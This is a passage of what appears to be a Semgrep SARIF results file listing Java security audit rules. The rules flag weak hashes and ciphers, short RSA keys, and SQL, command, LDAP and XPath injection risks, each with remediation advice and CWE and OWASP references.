sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security."},"help":{"markdown":"This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha224.use-of-sha224)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar3.ipd.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar3.ipd.pdf)\n - [https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/ism/cyber-security-guidelines/guidelines-cryptography](https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/ism/cyber-security-guidelines/guidelines-cryptography)\n","text":"This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha224.use-of-sha224","id":"java.lang.security.audit.crypto.use-of-sha224.use-of-sha224","name":"java.lang.security.audit.crypto.use-of-sha224.use-of-sha224","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha224.use-of-sha224"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","OWASP-A07:2025 - Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command. Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command. Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command. Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2025 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n💎 Enable cross-file analysis and Pro rules for free at 